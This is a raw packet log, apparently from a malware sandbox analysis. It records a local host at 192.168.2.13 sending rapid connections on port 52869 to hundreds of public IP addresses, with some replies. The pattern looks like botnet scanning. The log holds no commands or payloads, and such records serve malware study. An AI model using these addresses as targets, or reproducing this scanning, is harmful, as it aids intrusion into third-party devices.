Jul 20, 2024 23:00:59.634650946 CEST	50566	52869	192.168.2.13	126.93.109.214
Jul 20, 2024 23:00:59.634650946 CEST	50566	52869	192.168.2.13	119.164.128.230
Jul 20, 2024 23:00:59.634650946 CEST	50566	52869	192.168.2.13	192.126.252.90
Jul 20, 2024 23:00:59.634650946 CEST	50566	52869	192.168.2.13	220.134.68.147
Jul 20, 2024 23:00:59.634650946 CEST	50566	52869	192.168.2.13	201.255.137.48
Jul 20, 2024 23:00:59.634697914 CEST	52869	50566	77.179.166.110	192.168.2.13
Jul 20, 2024 23:00:59.634829044 CEST	52869	50566	146.106.189.217	192.168.2.13
Jul 20, 2024 23:00:59.635077953 CEST	52869	50566	19.218.88.191	192.168.2.13
Jul 20, 2024 23:00:59.635164976 CEST	50566	52869	192.168.2.13	64.34.232.233
Jul 20, 2024 23:00:59.635164976 CEST	50566	52869	192.168.2.13	72.58.3.66
Jul 20, 2024 23:00:59.635164976 CEST	50566	52869	192.168.2.13	223.143.201.43
Jul 20, 2024 23:00:59.635164976 CEST	50566	52869	192.168.2.13	82.165.155.170
Jul 20, 2024 23:00:59.635164976 CEST	50566	52869	192.168.2.13	79.24.224.34
Jul 20, 2024 23:00:59.635164976 CEST	50566	52869	192.168.2.13	117.22.194.194
Jul 20, 2024 23:00:59.635165930 CEST	50566	52869	192.168.2.13	18.1.208.83
Jul 20, 2024 23:00:59.635165930 CEST	50566	52869	192.168.2.13	178.159.103.123
Jul 20, 2024 23:00:59.635195971 CEST	52869	50566	131.137.224.104	192.168.2.13
Jul 20, 2024 23:00:59.635459900 CEST	52869	50566	62.70.231.247	192.168.2.13
Jul 20, 2024 23:00:59.635529995 CEST	52869	50566	176.44.3.114	192.168.2.13
Jul 20, 2024 23:00:59.635973930 CEST	52869	50566	149.206.247.26	192.168.2.13
Jul 20, 2024 23:00:59.636126995 CEST	52869	50566	58.202.18.250	192.168.2.13
Jul 20, 2024 23:00:59.636254072 CEST	52869	50566	213.2.150.93	192.168.2.13
Jul 20, 2024 23:00:59.637283087 CEST	52869	50566	140.26.197.97	192.168.2.13
Jul 20, 2024 23:00:59.637438059 CEST	52869	50566	108.155.18.150	192.168.2.13
Jul 20, 2024 23:00:59.638020039 CEST	52869	50566	156.80.250.98	192.168.2.13
Jul 20, 2024 23:00:59.638228893 CEST	50566	52869	192.168.2.13	23.75.97.19
Jul 20, 2024 23:00:59.638230085 CEST	50566	52869	192.168.2.13	24.214.134.218
Jul 20, 2024 23:00:59.638230085 CEST	50566	52869	192.168.2.13	176.162.101.212
Jul 20, 2024 23:00:59.638230085 CEST	50566	52869	192.168.2.13	165.179.75.37
Jul 20, 2024 23:00:59.638230085 CEST	50566	52869	192.168.2.13	168.235.140.79
Jul 20, 2024 23:00:59.638230085 CEST	50566	52869	192.168.2.13	145.18.206.1
Jul 20, 2024 23:00:59.638230085 CEST	50566	52869	192.168.2.13	187.199.117.83
Jul 20, 2024 23:00:59.638230085 CEST	50566	52869	192.168.2.13	35.240.133.225
Jul 20, 2024 23:00:59.639203072 CEST	52869	50566	136.118.42.92	192.168.2.13
Jul 20, 2024 23:00:59.639286995 CEST	50566	52869	192.168.2.13	210.64.85.28
Jul 20, 2024 23:00:59.639286995 CEST	50566	52869	192.168.2.13	61.189.251.247
Jul 20, 2024 23:00:59.639286995 CEST	50566	52869	192.168.2.13	174.109.132.218
Jul 20, 2024 23:00:59.639286995 CEST	50566	52869	192.168.2.13	160.90.186.174
Jul 20, 2024 23:00:59.639286995 CEST	50566	52869	192.168.2.13	204.133.134.183
Jul 20, 2024 23:00:59.639286995 CEST	50566	52869	192.168.2.13	23.165.203.186
Jul 20, 2024 23:00:59.639286995 CEST	50566	52869	192.168.2.13	9.179.65.165
Jul 20, 2024 23:00:59.639286995 CEST	50566	52869	192.168.2.13	138.51.167.125
Jul 20, 2024 23:00:59.639478922 CEST	52869	50566	40.176.43.226	192.168.2.13
Jul 20, 2024 23:00:59.639508009 CEST	50566	52869	192.168.2.13	218.176.198.162
Jul 20, 2024 23:00:59.639508009 CEST	50566	52869	192.168.2.13	139.222.51.251
Jul 20, 2024 23:00:59.639508963 CEST	50566	52869	192.168.2.13	144.133.179.158
Jul 20, 2024 23:00:59.639508963 CEST	50566	52869	192.168.2.13	112.95.23.233
Jul 20, 2024 23:00:59.639508963 CEST	50566	52869	192.168.2.13	36.73.81.211
Jul 20, 2024 23:00:59.639508963 CEST	50566	52869	192.168.2.13	161.85.5.164
Jul 20, 2024 23:00:59.639508963 CEST	50566	52869	192.168.2.13	45.56.138.142
Jul 20, 2024 23:00:59.639508963 CEST	50566	52869	192.168.2.13	40.43.30.134
Jul 20, 2024 23:00:59.639703989 CEST	50566	52869	192.168.2.13	2.30.99.212
Jul 20, 2024 23:00:59.639703989 CEST	50566	52869	192.168.2.13	204.96.224.223
Jul 20, 2024 23:00:59.639703989 CEST	50566	52869	192.168.2.13	191.60.250.171
Jul 20, 2024 23:00:59.639703989 CEST	50566	52869	192.168.2.13	88.28.86.29
Jul 20, 2024 23:00:59.639703989 CEST	50566	52869	192.168.2.13	61.170.55.225
Jul 20, 2024 23:00:59.639703989 CEST	50566	52869	192.168.2.13	203.202.10.158
Jul 20, 2024 23:00:59.639703989 CEST	50566	52869	192.168.2.13	175.202.97.188
Jul 20, 2024 23:00:59.639703989 CEST	50566	52869	192.168.2.13	197.0.224.62
Jul 20, 2024 23:00:59.640135050 CEST	52869	50566	187.245.206.15	192.168.2.13
Jul 20, 2024 23:00:59.640515089 CEST	52869	50566	86.33.194.195	192.168.2.13
Jul 20, 2024 23:00:59.640789986 CEST	52869	50566	193.35.80.188	192.168.2.13
Jul 20, 2024 23:00:59.641196966 CEST	52869	50566	64.34.232.233	192.168.2.13
Jul 20, 2024 23:00:59.641251087 CEST	52869	50566	136.188.106.216	192.168.2.13
Jul 20, 2024 23:00:59.641282082 CEST	52869	50566	72.58.3.66	192.168.2.13
Jul 20, 2024 23:00:59.641803980 CEST	52869	50566	13.65.173.81	192.168.2.13
Jul 20, 2024 23:00:59.641884089 CEST	52869	50566	36.153.129.12	192.168.2.13
Jul 20, 2024 23:00:59.641921043 CEST	52869	50566	132.216.15.237	192.168.2.13
Jul 20, 2024 23:00:59.641941071 CEST	50566	52869	192.168.2.13	38.83.102.116
Jul 20, 2024 23:00:59.641941071 CEST	50566	52869	192.168.2.13	186.93.34.194
Jul 20, 2024 23:00:59.641941071 CEST	50566	52869	192.168.2.13	151.8.138.239
Jul 20, 2024 23:00:59.641941071 CEST	50566	52869	192.168.2.13	67.159.244.246
Jul 20, 2024 23:00:59.641941071 CEST	50566	52869	192.168.2.13	164.75.240.102
Jul 20, 2024 23:00:59.641941071 CEST	50566	52869	192.168.2.13	111.34.210.66
Jul 20, 2024 23:00:59.641941071 CEST	50566	52869	192.168.2.13	164.51.129.47
Jul 20, 2024 23:00:59.641941071 CEST	50566	52869	192.168.2.13	117.11.9.146
Jul 20, 2024 23:00:59.642273903 CEST	52869	50566	105.77.33.146	192.168.2.13
Jul 20, 2024 23:00:59.642651081 CEST	52869	50566	223.80.176.90	192.168.2.13
Jul 20, 2024 23:00:59.642709970 CEST	52869	50566	124.185.179.185	192.168.2.13
Jul 20, 2024 23:00:59.643201113 CEST	52869	50566	46.249.226.40	192.168.2.13
Jul 20, 2024 23:00:59.643316031 CEST	52869	50566	188.10.172.52	192.168.2.13
Jul 20, 2024 23:00:59.643356085 CEST	52869	50566	111.9.61.68	192.168.2.13
Jul 20, 2024 23:00:59.643393040 CEST	52869	50566	128.143.136.11	192.168.2.13
Jul 20, 2024 23:00:59.643424034 CEST	52869	50566	198.77.241.190	192.168.2.13
Jul 20, 2024 23:00:59.643596888 CEST	52869	50566	23.75.97.19	192.168.2.13
Jul 20, 2024 23:00:59.643806934 CEST	50566	52869	192.168.2.13	104.230.155.170
Jul 20, 2024 23:00:59.643807888 CEST	50566	52869	192.168.2.13	85.233.185.250
Jul 20, 2024 23:00:59.643807888 CEST	50566	52869	192.168.2.13	17.100.225.23
Jul 20, 2024 23:00:59.643807888 CEST	50566	52869	192.168.2.13	178.49.239.29
Jul 20, 2024 23:00:59.643807888 CEST	50566	52869	192.168.2.13	54.172.207.249
Jul 20, 2024 23:00:59.643807888 CEST	50566	52869	192.168.2.13	148.188.169.185
Jul 20, 2024 23:00:59.643807888 CEST	50566	52869	192.168.2.13	74.118.220.217
Jul 20, 2024 23:00:59.643807888 CEST	50566	52869	192.168.2.13	85.79.152.129
Jul 20, 2024 23:00:59.643872023 CEST	52869	50566	166.58.212.1	192.168.2.13
Jul 20, 2024 23:00:59.644083023 CEST	50566	52869	192.168.2.13	18.94.14.95
Jul 20, 2024 23:00:59.644083977 CEST	50566	52869	192.168.2.13	192.19.249.95
Jul 20, 2024 23:00:59.644083977 CEST	50566	52869	192.168.2.13	104.212.220.223
Jul 20, 2024 23:00:59.644083977 CEST	50566	52869	192.168.2.13	175.132.139.121
Jul 20, 2024 23:00:59.644083977 CEST	50566	52869	192.168.2.13	150.37.163.48
Jul 20, 2024 23:00:59.644083977 CEST	50566	52869	192.168.2.13	115.111.113.154
Jul 20, 2024 23:00:59.644083977 CEST	50566	52869	192.168.2.13	183.152.109.59
Jul 20, 2024 23:00:59.644083977 CEST	50566	52869	192.168.2.13	70.233.85.157
Jul 20, 2024 23:00:59.644218922 CEST	50566	52869	192.168.2.13	68.141.114.230
Jul 20, 2024 23:00:59.644220114 CEST	50566	52869	192.168.2.13	37.9.204.35
Jul 20, 2024 23:00:59.644220114 CEST	50566	52869	192.168.2.13	217.167.160.59
Jul 20, 2024 23:00:59.644220114 CEST	50566	52869	192.168.2.13	12.82.40.223
Jul 20, 2024 23:00:59.644220114 CEST	50566	52869	192.168.2.13	144.172.219.131
Jul 20, 2024 23:00:59.644220114 CEST	50566	52869	192.168.2.13	97.138.42.44
Jul 20, 2024 23:00:59.644220114 CEST	50566	52869	192.168.2.13	148.129.145.155
Jul 20, 2024 23:00:59.644220114 CEST	50566	52869	192.168.2.13	105.219.39.50
Jul 20, 2024 23:00:59.644614935 CEST	52869	50566	202.119.16.222	192.168.2.13
Jul 20, 2024 23:00:59.646776915 CEST	52869	50566	218.176.198.162	192.168.2.13
Jul 20, 2024 23:00:59.646847963 CEST	52869	50566	139.222.51.251	192.168.2.13
Jul 20, 2024 23:00:59.646962881 CEST	50566	52869	192.168.2.13	134.33.110.60
Jul 20, 2024 23:00:59.646962881 CEST	50566	52869	192.168.2.13	60.177.250.3
Jul 20, 2024 23:00:59.646962881 CEST	50566	52869	192.168.2.13	132.243.226.80
Jul 20, 2024 23:00:59.646962881 CEST	50566	52869	192.168.2.13	157.107.139.179
Jul 20, 2024 23:00:59.646962881 CEST	50566	52869	192.168.2.13	48.153.201.130
Jul 20, 2024 23:00:59.646962881 CEST	50566	52869	192.168.2.13	218.25.105.251
Jul 20, 2024 23:00:59.646962881 CEST	50566	52869	192.168.2.13	70.193.26.201
Jul 20, 2024 23:00:59.646962881 CEST	50566	52869	192.168.2.13	122.219.218.188
Jul 20, 2024 23:00:59.647089958 CEST	52869	50566	24.214.134.218	192.168.2.13
Jul 20, 2024 23:00:59.648727894 CEST	50566	52869	192.168.2.13	144.215.64.150
Jul 20, 2024 23:00:59.648727894 CEST	50566	52869	192.168.2.13	184.217.77.154
Jul 20, 2024 23:00:59.648727894 CEST	50566	52869	192.168.2.13	65.98.140.14
Jul 20, 2024 23:00:59.648727894 CEST	50566	52869	192.168.2.13	62.113.97.226
Jul 20, 2024 23:00:59.648727894 CEST	50566	52869	192.168.2.13	87.211.191.179
Jul 20, 2024 23:00:59.648729086 CEST	50566	52869	192.168.2.13	19.84.29.63
Jul 20, 2024 23:00:59.648729086 CEST	50566	52869	192.168.2.13	93.138.21.169
Jul 20, 2024 23:00:59.648729086 CEST	50566	52869	192.168.2.13	84.84.45.246
Jul 20, 2024 23:00:59.648936033 CEST	52869	50566	144.133.179.158	192.168.2.13
Jul 20, 2024 23:00:59.649307013 CEST	50566	52869	192.168.2.13	197.57.89.73
Jul 20, 2024 23:00:59.649307013 CEST	50566	52869	192.168.2.13	1.6.88.81
Jul 20, 2024 23:00:59.649307013 CEST	50566	52869	192.168.2.13	170.7.192.1
Jul 20, 2024 23:00:59.649307013 CEST	50566	52869	192.168.2.13	121.129.9.158
Jul 20, 2024 23:00:59.649307013 CEST	50566	52869	192.168.2.13	213.55.186.226
Jul 20, 2024 23:00:59.649307013 CEST	50566	52869	192.168.2.13	73.165.187.191
Jul 20, 2024 23:00:59.649307013 CEST	50566	52869	192.168.2.13	168.72.146.158
Jul 20, 2024 23:00:59.649307013 CEST	50566	52869	192.168.2.13	110.148.119.192
Jul 20, 2024 23:00:59.649451017 CEST	50566	52869	192.168.2.13	211.81.197.171
Jul 20, 2024 23:00:59.649451017 CEST	50566	52869	192.168.2.13	90.101.67.159
Jul 20, 2024 23:00:59.649451971 CEST	50566	52869	192.168.2.13	79.157.198.232
Jul 20, 2024 23:00:59.649451971 CEST	50566	52869	192.168.2.13	149.159.220.10
Jul 20, 2024 23:00:59.649451971 CEST	50566	52869	192.168.2.13	42.0.20.93
Jul 20, 2024 23:00:59.649451971 CEST	50566	52869	192.168.2.13	125.52.0.168
Jul 20, 2024 23:00:59.649451971 CEST	50566	52869	192.168.2.13	37.84.219.125
Jul 20, 2024 23:00:59.649451971 CEST	50566	52869	192.168.2.13	101.129.154.43
Jul 20, 2024 23:00:59.651797056 CEST	50566	52869	192.168.2.13	186.145.42.94
Jul 20, 2024 23:00:59.651797056 CEST	50566	52869	192.168.2.13	175.17.76.227
Jul 20, 2024 23:00:59.651797056 CEST	50566	52869	192.168.2.13	210.25.125.186
Jul 20, 2024 23:00:59.651797056 CEST	50566	52869	192.168.2.13	32.117.105.192
Jul 20, 2024 23:00:59.651797056 CEST	50566	52869	192.168.2.13	119.203.70.124
Jul 20, 2024 23:00:59.651797056 CEST	50566	52869	192.168.2.13	134.10.221.26
Jul 20, 2024 23:00:59.651797056 CEST	50566	52869	192.168.2.13	51.68.73.18
Jul 20, 2024 23:00:59.651797056 CEST	50566	52869	192.168.2.13	34.207.31.197
Jul 20, 2024 23:00:59.652057886 CEST	50566	52869	192.168.2.13	66.23.16.223
Jul 20, 2024 23:00:59.652057886 CEST	50566	52869	192.168.2.13	110.8.142.127
Jul 20, 2024 23:00:59.652057886 CEST	50566	52869	192.168.2.13	70.70.211.133
Jul 20, 2024 23:00:59.652057886 CEST	50566	52869	192.168.2.13	151.237.231.212
Jul 20, 2024 23:00:59.652057886 CEST	50566	52869	192.168.2.13	222.160.37.233
Jul 20, 2024 23:00:59.652057886 CEST	50566	52869	192.168.2.13	117.128.184.66
Jul 20, 2024 23:00:59.652057886 CEST	50566	52869	192.168.2.13	49.201.90.122
Jul 20, 2024 23:00:59.652057886 CEST	50566	52869	192.168.2.13	128.80.240.196
Jul 20, 2024 23:00:59.652441025 CEST	50566	52869	192.168.2.13	83.195.157.142
Jul 20, 2024 23:00:59.652441025 CEST	50566	52869	192.168.2.13	123.187.111.17
Jul 20, 2024 23:00:59.652441025 CEST	50566	52869	192.168.2.13	193.70.152.149
Jul 20, 2024 23:00:59.652441978 CEST	50566	52869	192.168.2.13	192.140.200.203
Jul 20, 2024 23:00:59.652441978 CEST	50566	52869	192.168.2.13	192.248.186.142
Jul 20, 2024 23:00:59.652441978 CEST	50566	52869	192.168.2.13	200.93.232.222
Jul 20, 2024 23:00:59.652441978 CEST	50566	52869	192.168.2.13	90.31.71.78
Jul 20, 2024 23:00:59.652441978 CEST	50566	52869	192.168.2.13	211.78.34.151
Jul 20, 2024 23:00:59.652738094 CEST	52869	50566	176.162.101.212	192.168.2.13
Jul 20, 2024 23:00:59.653172016 CEST	50566	52869	192.168.2.13	133.198.116.89
Jul 20, 2024 23:00:59.653172016 CEST	50566	52869	192.168.2.13	77.208.33.230
Jul 20, 2024 23:00:59.653172970 CEST	50566	52869	192.168.2.13	102.81.237.112
Jul 20, 2024 23:00:59.653172970 CEST	50566	52869	192.168.2.13	95.197.97.74
Jul 20, 2024 23:00:59.653172970 CEST	50566	52869	192.168.2.13	42.50.217.244
Jul 20, 2024 23:00:59.653172970 CEST	50566	52869	192.168.2.13	121.63.89.80
Jul 20, 2024 23:00:59.653172970 CEST	50566	52869	192.168.2.13	142.165.33.0
Jul 20, 2024 23:00:59.653172970 CEST	50566	52869	192.168.2.13	159.75.63.50
Jul 20, 2024 23:00:59.654772043 CEST	50566	52869	192.168.2.13	97.52.75.59
Jul 20, 2024 23:00:59.654772043 CEST	50566	52869	192.168.2.13	97.205.221.196
Jul 20, 2024 23:00:59.654772043 CEST	50566	52869	192.168.2.13	63.173.254.82
Jul 20, 2024 23:00:59.654772043 CEST	50566	52869	192.168.2.13	20.56.93.113
Jul 20, 2024 23:00:59.654772043 CEST	50566	52869	192.168.2.13	167.92.170.151
Jul 20, 2024 23:00:59.654772043 CEST	50566	52869	192.168.2.13	220.156.155.94
Jul 20, 2024 23:00:59.654772997 CEST	50566	52869	192.168.2.13	66.205.11.7
Jul 20, 2024 23:00:59.654772997 CEST	50566	52869	192.168.2.13	97.174.207.178
Jul 20, 2024 23:00:59.656606913 CEST	50566	52869	192.168.2.13	201.122.198.113
Jul 20, 2024 23:00:59.656606913 CEST	50566	52869	192.168.2.13	53.124.247.216
Jul 20, 2024 23:00:59.656606913 CEST	50566	52869	192.168.2.13	148.111.225.64
Jul 20, 2024 23:00:59.656606913 CEST	50566	52869	192.168.2.13	72.107.29.138
Jul 20, 2024 23:00:59.656606913 CEST	50566	52869	192.168.2.13	189.63.59.26
Jul 20, 2024 23:00:59.656606913 CEST	50566	52869	192.168.2.13	80.188.204.218
Jul 20, 2024 23:00:59.656606913 CEST	50566	52869	192.168.2.13	14.221.89.81
Jul 20, 2024 23:00:59.656606913 CEST	50566	52869	192.168.2.13	54.140.239.132
Jul 20, 2024 23:00:59.657864094 CEST	50566	52869	192.168.2.13	172.33.226.59
Jul 20, 2024 23:00:59.657864094 CEST	50566	52869	192.168.2.13	138.161.203.33
Jul 20, 2024 23:00:59.657864094 CEST	50566	52869	192.168.2.13	194.114.239.8
Jul 20, 2024 23:00:59.657864094 CEST	50566	52869	192.168.2.13	153.7.7.208
Jul 20, 2024 23:00:59.657864094 CEST	50566	52869	192.168.2.13	14.144.70.230
Jul 20, 2024 23:00:59.657864094 CEST	50566	52869	192.168.2.13	83.183.197.102
Jul 20, 2024 23:00:59.657864094 CEST	50566	52869	192.168.2.13	169.13.64.245
Jul 20, 2024 23:00:59.657864094 CEST	50566	52869	192.168.2.13	188.130.177.201
Jul 20, 2024 23:00:59.658508062 CEST	50566	52869	192.168.2.13	43.144.221.254
Jul 20, 2024 23:00:59.658509016 CEST	50566	52869	192.168.2.13	194.191.153.163
Jul 20, 2024 23:00:59.658509016 CEST	50566	52869	192.168.2.13	4.126.46.148
Jul 20, 2024 23:00:59.658509016 CEST	50566	52869	192.168.2.13	167.245.54.149
Jul 20, 2024 23:00:59.658509016 CEST	50566	52869	192.168.2.13	221.1.130.160
Jul 20, 2024 23:00:59.658509016 CEST	50566	52869	192.168.2.13	89.19.70.28
Jul 20, 2024 23:00:59.658509016 CEST	50566	52869	192.168.2.13	167.26.134.36
Jul 20, 2024 23:00:59.658509016 CEST	50566	52869	192.168.2.13	93.179.81.105
Jul 20, 2024 23:00:59.658958912 CEST	52869	50566	165.179.75.37	192.168.2.13
Jul 20, 2024 23:00:59.659077883 CEST	52869	50566	112.95.23.233	192.168.2.13
Jul 20, 2024 23:00:59.659110069 CEST	52869	50566	168.235.140.79	192.168.2.13
Jul 20, 2024 23:00:59.659567118 CEST	50566	52869	192.168.2.13	51.115.50.33
Jul 20, 2024 23:00:59.659567118 CEST	50566	52869	192.168.2.13	129.145.243.170
Jul 20, 2024 23:00:59.659567118 CEST	50566	52869	192.168.2.13	48.246.187.233
Jul 20, 2024 23:00:59.659567118 CEST	50566	52869	192.168.2.13	78.155.29.223
Jul 20, 2024 23:00:59.659567118 CEST	50566	52869	192.168.2.13	194.234.80.190
Jul 20, 2024 23:00:59.659567118 CEST	50566	52869	192.168.2.13	121.217.157.187
Jul 20, 2024 23:00:59.659567118 CEST	50566	52869	192.168.2.13	136.76.12.111
Jul 20, 2024 23:00:59.659567118 CEST	50566	52869	192.168.2.13	8.98.86.3
Jul 20, 2024 23:00:59.659606934 CEST	52869	50566	122.59.28.135	192.168.2.13
Jul 20, 2024 23:00:59.659661055 CEST	52869	50566	145.18.206.1	192.168.2.13
Jul 20, 2024 23:00:59.659662008 CEST	50566	52869	192.168.2.13	45.49.137.220
Jul 20, 2024 23:00:59.659662008 CEST	50566	52869	192.168.2.13	125.107.0.253
Jul 20, 2024 23:00:59.659662008 CEST	50566	52869	192.168.2.13	27.221.68.85
Jul 20, 2024 23:00:59.659662008 CEST	50566	52869	192.168.2.13	51.66.34.25
Jul 20, 2024 23:00:59.659662008 CEST	50566	52869	192.168.2.13	121.34.202.134
Jul 20, 2024 23:00:59.659662008 CEST	50566	52869	192.168.2.13	130.29.163.176
Jul 20, 2024 23:00:59.659662008 CEST	50566	52869	192.168.2.13	195.132.1.69
Jul 20, 2024 23:00:59.659662008 CEST	50566	52869	192.168.2.13	23.149.125.128
Jul 20, 2024 23:00:59.659694910 CEST	52869	50566	36.73.81.211	192.168.2.13
Jul 20, 2024 23:00:59.659729958 CEST	52869	50566	152.141.22.129	192.168.2.13
Jul 20, 2024 23:00:59.660020113 CEST	50566	52869	192.168.2.13	195.198.2.29
Jul 20, 2024 23:00:59.660020113 CEST	50566	52869	192.168.2.13	98.130.168.50
Jul 20, 2024 23:00:59.660020113 CEST	50566	52869	192.168.2.13	19.198.50.152
Jul 20, 2024 23:00:59.660020113 CEST	50566	52869	192.168.2.13	64.14.37.168
Jul 20, 2024 23:00:59.660020113 CEST	50566	52869	192.168.2.13	82.122.30.251
Jul 20, 2024 23:00:59.660020113 CEST	50566	52869	192.168.2.13	199.202.114.230
Jul 20, 2024 23:00:59.660020113 CEST	50566	52869	192.168.2.13	133.151.240.165
Jul 20, 2024 23:00:59.660020113 CEST	50566	52869	192.168.2.13	52.4.252.61
Jul 20, 2024 23:00:59.662934065 CEST	50566	52869	192.168.2.13	45.21.136.190
Jul 20, 2024 23:00:59.662934065 CEST	50566	52869	192.168.2.13	48.231.69.84
Jul 20, 2024 23:00:59.662934065 CEST	50566	52869	192.168.2.13	104.230.5.149
Jul 20, 2024 23:00:59.662934065 CEST	50566	52869	192.168.2.13	52.97.70.51
Jul 20, 2024 23:00:59.662934065 CEST	50566	52869	192.168.2.13	123.201.244.76
Jul 20, 2024 23:00:59.662934065 CEST	50566	52869	192.168.2.13	19.116.209.244
Jul 20, 2024 23:00:59.662934065 CEST	50566	52869	192.168.2.13	41.74.147.143
Jul 20, 2024 23:00:59.663311005 CEST	50566	52869	192.168.2.13	170.179.22.174
Jul 20, 2024 23:00:59.663311005 CEST	50566	52869	192.168.2.13	218.172.50.144
Jul 20, 2024 23:00:59.663311005 CEST	50566	52869	192.168.2.13	75.157.249.115
Jul 20, 2024 23:00:59.663311005 CEST	50566	52869	192.168.2.13	193.76.38.145
Jul 20, 2024 23:00:59.663311005 CEST	50566	52869	192.168.2.13	5.72.12.46
Jul 20, 2024 23:00:59.663311005 CEST	50566	52869	192.168.2.13	105.43.143.24
Jul 20, 2024 23:00:59.663311005 CEST	50566	52869	192.168.2.13	148.29.162.78
Jul 20, 2024 23:00:59.663311005 CEST	50566	52869	192.168.2.13	68.212.146.166
Jul 20, 2024 23:00:59.663420916 CEST	50566	52869	192.168.2.13	193.33.237.176
Jul 20, 2024 23:00:59.663420916 CEST	50566	52869	192.168.2.13	98.190.18.177
Jul 20, 2024 23:00:59.663420916 CEST	50566	52869	192.168.2.13	79.65.48.214
Jul 20, 2024 23:00:59.663420916 CEST	50566	52869	192.168.2.13	149.120.217.63
Jul 20, 2024 23:00:59.663420916 CEST	50566	52869	192.168.2.13	173.147.51.213
Jul 20, 2024 23:00:59.663420916 CEST	50566	52869	192.168.2.13	92.215.148.74
Jul 20, 2024 23:00:59.663420916 CEST	50566	52869	192.168.2.13	143.163.233.126
Jul 20, 2024 23:00:59.663420916 CEST	50566	52869	192.168.2.13	96.225.183.193
Jul 20, 2024 23:00:59.663714886 CEST	50566	52869	192.168.2.13	48.247.75.126
Jul 20, 2024 23:00:59.663714886 CEST	50566	52869	192.168.2.13	210.204.87.133
Jul 20, 2024 23:00:59.663714886 CEST	50566	52869	192.168.2.13	38.139.117.210
Jul 20, 2024 23:00:59.663714886 CEST	50566	52869	192.168.2.13	52.197.89.254
Jul 20, 2024 23:00:59.663714886 CEST	50566	52869	192.168.2.13	187.20.52.49
Jul 20, 2024 23:00:59.663714886 CEST	50566	52869	192.168.2.13	202.190.221.115
Jul 20, 2024 23:00:59.663714886 CEST	50566	52869	192.168.2.13	84.117.229.118
Jul 20, 2024 23:00:59.663714886 CEST	50566	52869	192.168.2.13	8.28.254.193
Jul 20, 2024 23:00:59.663814068 CEST	50566	52869	192.168.2.13	115.210.223.23
Jul 20, 2024 23:00:59.663814068 CEST	50566	52869	192.168.2.13	24.187.7.136
Jul 20, 2024 23:00:59.663814068 CEST	50566	52869	192.168.2.13	122.74.42.98
Jul 20, 2024 23:00:59.663814068 CEST	50566	52869	192.168.2.13	64.203.52.140
Jul 20, 2024 23:00:59.663814068 CEST	50566	52869	192.168.2.13	2.45.239.89
Jul 20, 2024 23:00:59.663814068 CEST	50566	52869	192.168.2.13	207.70.169.248
Jul 20, 2024 23:00:59.663814068 CEST	50566	52869	192.168.2.13	170.126.187.25
Jul 20, 2024 23:00:59.663814068 CEST	50566	52869	192.168.2.13	218.148.139.162
Jul 20, 2024 23:00:59.664247990 CEST	50566	52869	192.168.2.13	137.55.25.91
Jul 20, 2024 23:00:59.664247990 CEST	50566	52869	192.168.2.13	169.216.228.16
Jul 20, 2024 23:00:59.664247990 CEST	50566	52869	192.168.2.13	18.118.36.173
Jul 20, 2024 23:00:59.664247990 CEST	50566	52869	192.168.2.13	170.110.120.154
Jul 20, 2024 23:00:59.664247990 CEST	50566	52869	192.168.2.13	159.161.70.187
Jul 20, 2024 23:00:59.664247990 CEST	50566	52869	192.168.2.13	87.211.91.11
Jul 20, 2024 23:00:59.664247990 CEST	50566	52869	192.168.2.13	74.13.242.177
Jul 20, 2024 23:00:59.664845943 CEST	52869	50566	161.85.5.164	192.168.2.13
Jul 20, 2024 23:00:59.667346954 CEST	52869	50566	45.56.138.142	192.168.2.13
Jul 20, 2024 23:00:59.667658091 CEST	52869	50566	187.199.117.83	192.168.2.13
Jul 20, 2024 23:00:59.668137074 CEST	52869	50566	40.43.30.134	192.168.2.13
Jul 20, 2024 23:00:59.668142080 CEST	50566	52869	192.168.2.13	207.15.179.45
Jul 20, 2024 23:00:59.668142080 CEST	50566	52869	192.168.2.13	25.12.220.217
Jul 20, 2024 23:00:59.668142080 CEST	50566	52869	192.168.2.13	110.72.97.251
Jul 20, 2024 23:00:59.668142080 CEST	50566	52869	192.168.2.13	189.76.150.130
Jul 20, 2024 23:00:59.668142080 CEST	50566	52869	192.168.2.13	108.81.63.156
Jul 20, 2024 23:00:59.668142080 CEST	50566	52869	192.168.2.13	190.33.99.217
Jul 20, 2024 23:00:59.668142080 CEST	50566	52869	192.168.2.13	66.180.148.38
Jul 20, 2024 23:00:59.668142080 CEST	50566	52869	192.168.2.13	68.139.231.175
Jul 20, 2024 23:00:59.668230057 CEST	52869	50566	187.189.134.230	192.168.2.13
Jul 20, 2024 23:00:59.668262959 CEST	52869	50566	45.21.136.190	192.168.2.13
Jul 20, 2024 23:00:59.668297052 CEST	52869	50566	35.240.133.225	192.168.2.13
Jul 20, 2024 23:00:59.668644905 CEST	52869	50566	79.29.92.192	192.168.2.13
Jul 20, 2024 23:00:59.668677092 CEST	52869	50566	48.231.69.84	192.168.2.13
Jul 20, 2024 23:00:59.669302940 CEST	50566	52869	192.168.2.13	101.105.120.215
Jul 20, 2024 23:00:59.669302940 CEST	50566	52869	192.168.2.13	63.166.234.187
Jul 20, 2024 23:00:59.669302940 CEST	50566	52869	192.168.2.13	167.142.84.3
Jul 20, 2024 23:00:59.669302940 CEST	50566	52869	192.168.2.13	31.152.105.38
Jul 20, 2024 23:00:59.669302940 CEST	50566	52869	192.168.2.13	23.53.9.206
Jul 20, 2024 23:00:59.669302940 CEST	50566	52869	192.168.2.13	71.235.216.140
Jul 20, 2024 23:00:59.669302940 CEST	50566	52869	192.168.2.13	163.68.52.23
Jul 20, 2024 23:00:59.669302940 CEST	50566	52869	192.168.2.13	192.214.196.124
Jul 20, 2024 23:00:59.669542074 CEST	50566	52869	192.168.2.13	43.248.243.79
Jul 20, 2024 23:00:59.669542074 CEST	50566	52869	192.168.2.13	58.117.66.60
Jul 20, 2024 23:00:59.669542074 CEST	50566	52869	192.168.2.13	57.228.228.208
Jul 20, 2024 23:00:59.669542074 CEST	50566	52869	192.168.2.13	122.202.61.247
Jul 20, 2024 23:00:59.669542074 CEST	50566	52869	192.168.2.13	197.89.48.241
Jul 20, 2024 23:00:59.669542074 CEST	50566	52869	192.168.2.13	142.87.170.65
Jul 20, 2024 23:00:59.669543028 CEST	50566	52869	192.168.2.13	24.53.43.105
Jul 20, 2024 23:00:59.670259953 CEST	50566	52869	192.168.2.13	150.21.231.233
Jul 20, 2024 23:00:59.670259953 CEST	50566	52869	192.168.2.13	186.236.40.217
Jul 20, 2024 23:00:59.670259953 CEST	50566	52869	192.168.2.13	98.215.67.213
Jul 20, 2024 23:00:59.670259953 CEST	50566	52869	192.168.2.13	178.216.95.105
Jul 20, 2024 23:00:59.670259953 CEST	50566	52869	192.168.2.13	82.130.65.202
